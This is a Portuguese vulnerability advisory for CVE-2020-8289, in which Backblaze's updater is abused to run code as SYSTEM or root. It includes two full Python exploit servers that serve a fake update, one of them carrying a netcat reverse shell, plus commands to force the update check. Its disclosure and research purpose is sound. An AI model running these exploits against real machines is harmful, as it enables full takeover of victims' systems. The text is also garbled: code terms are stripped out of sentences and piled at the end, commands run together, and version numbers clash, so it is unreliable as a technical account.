
CVE-2020-8289 – Execução Remota de Código como SYSTEM/root via Backblaze
Nome: Execução Remota de Código como SYSTEM/root via Backblaze
CVE: CVE-2020-8289
Descobridor: Jason Geffner
Fornecedor: Backblaze
Produto: Backblaze para Windows e Backblaze para macOS
Risco: Crítico
Data da Descoberta: 2020-03-13
Data de Publicação: 2020-09-09
Versão Corrigida: 7.0.1.433 (Windows) e 7.1.0.434 (macOS)
Segundo a Wikipédia, o Backblaze é
"uma ferramenta de backup online que permite que usuários de Windows e macOS façam backup de seus dados em data centers remotos. O serviço é projetado para empresas e usuários finais, oferecendo espaço de armazenamento ilimitado e suporte a tamanhos de arquivo ilimitados."
As versões vulneráveis do Backblaze para Windows e para macOS contêm uma vulnerabilidade de risco crítico que permite a um atacante remoto anônimo sem privilégios executar código remotamente (RCE) como SYSTEM/root.
O processo de serviço do cliente Backblaze, chamado bzserv, é executado como SYSTEM no Windows e como root no macOS. A cada duas horas, bzserv executa um programa chamado bztransmit (executado como SYSTEM/root) para baixar um arquivo XML chamado clientversion.xml do data center do Backblaze para verificar se existe uma versão mais recente do cliente Backblaze disponível para download. A URL para esse arquivo XML é construída a partir do nome de host bzdatacenter no arquivo bzinstall.xml instalado (somente leitura para usuários sem privilégios) e do caminho fixo api/clientversion.xml, resultando em uma URL como https://ca000.backblaze.com/api/clientversion.xml. Este download é realizado por meio de uma biblioteca libcurl estaticamente linkada. No entanto, as funções do que usam contêm uma lógica peculiar que faz com que definam como e como se a URL fornecida contiver uma das seguintes strings:
.backblaze.xyz/.backblazeb2.xyz/api/clientversion.xmlapi/install_backblazeIsso permite que um atacante remoto se passe pelo servidor web https://ca000.backblaze.com/ com um certificado SSL inválido (por exemplo, um certificado autoassinado) e forneça ao cliente um arquivo clientversion.xml controlado pelo atacante. Quando o bztransmit analisa o arquivo XML baixado, ele verifica se a versão mais recente do cliente descrita no arquivo XML é mais nova do que a versão instalada e, nesse caso, baixa o instalador da versão mais recente do cliente do data center do Backblaze. A URL para esse download é construída a partir do atributo win32_url/mac_url no arquivo clientversion.xml baixado; o valor do atributo deve começar com %DEST_HOST% e essa string é substituída em tempo de execução pelo nome de host do data center descrito acima. O atacante pode então fornecer em seu clientversion.xml uma URL de download como %DEST_HOST%/api/install_backblaze, fazendo com que o bztransmit baixe o instalador de https://ca000.backblaze.com/api/install_backblaze e novamente ignore o certificado SSL do servidor por causa da string na URL. Se o arquivo baixado não for um arquivo ZIP (por exemplo, se for um arquivo PE ou um arquivo Mach-O), a única validação do arquivo executada pelo é verificar se o arquivo contém a string em uma determinada faixa de offsets no arquivo. Uma vez que essa validação passa, o usa / para executar o arquivo baixado como /, permitindo assim que o atacante execute RCE como /.
Vídeo: https://youtu.be/W0THXbcX5V8
Esta prova de conceito é para o cliente Windows. Assumimos que o atacante já enviou uma resposta DNS falsificada para a vítima a fim de apontar ca000.backblaze.com para o IP do atacante, mas para fins de teste da PoC, você pode, em vez disso, adicionar a linha <IP do atacante> ca000.backblaze.com ao arquivo %windir%\System32\drivers\etc\hosts da vítima. O código abaixo espera que o atacante forneça rce.exe (que será executado como SYSTEM no sistema da vítima) e server.pem (que pode ser autoassinado).
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(exe)))
self.end_headers()
self.wfile.write(exe)
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' win32_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Depois que o código acima estiver em execução, aguarde. O cliente da vítima verifica se há atualizações a cada duas horas.
Se você quiser testar a PoC sem esperar, pode executar os seguintes comandos como SYSTEM (usando psexec, por exemplo) no sistema da vítima para forçar a verificação de atualização:
del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lckbztransmit.exe -fetchclientversionxmlbztransmit.exe -downloadautoupdateifappropriateVídeo: https://youtu.be/ILPP1Ky5nuY
Esta prova de conceito é para o cliente macOS. No mundo real, um atacante enviaria uma resposta DNS falsificada para a vítima para apontar ca000.backblaze.com para o IP do atacante, mas para fins de PoC, estamos atacando a partir do mesmo sistema da vítima e explorando o serviço comprometido do Backblaze para criar um shell reverso de volta ao atacante, dando assim ao atacante remoto em potencial acesso root.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
attacker_ip = "localhost"
attacker_port = 12345
reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
"xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload.encode())
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' mac_version="1' + form.getvalue("version") + '"' +
' mac_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Depois que o código acima estiver em execução, aguarde. O cliente da vítima verifica se há atualizações a cada duas horas.
Se você quiser testar a PoC sem esperar, pode executar os seguintes comandos no sistema da vítima para forçar a verificação de atualização:
sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lcksudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxmlsudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriateO Backblaze corrigiu essa vulnerabilidade na versão 7.0.1.433 do Backblaze para Windows e na versão 7.0.1.434 para macOS.
Esta vulnerabilidade foi descoberta e relatada ao Backblaze por Jason Geffner por meio do HackerOne.
2020-03-13 - Vulnerabilidade descoberta e relatada ao Backblaze via HackerOne
2020-03-31 - HackerOne verificou a vulnerabilidade
2020-04-09 - Build 7.0.1.433 para Windows e build 7.1.0.434 para macOS lançados
2020-04-17 - CVE-2020-8150 atribuído
2020-04-18 - Mitigação da vulnerabilidade verificada
2020-04-20 - Divulgação pública solicitada
2020-09-09 - Divulgação pública
2020-12-22 - Atribuição do CVE alterada para CVE-2020-8289
bztransmitlibcurlCURLOPT_SSL_VERIFYPEER0CURLOPT_SSL_VERIFYHOST0api/install_backblazebztransmitbzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavexbztransmitShellExecute()system()SYSTEMrootSYSTEMroot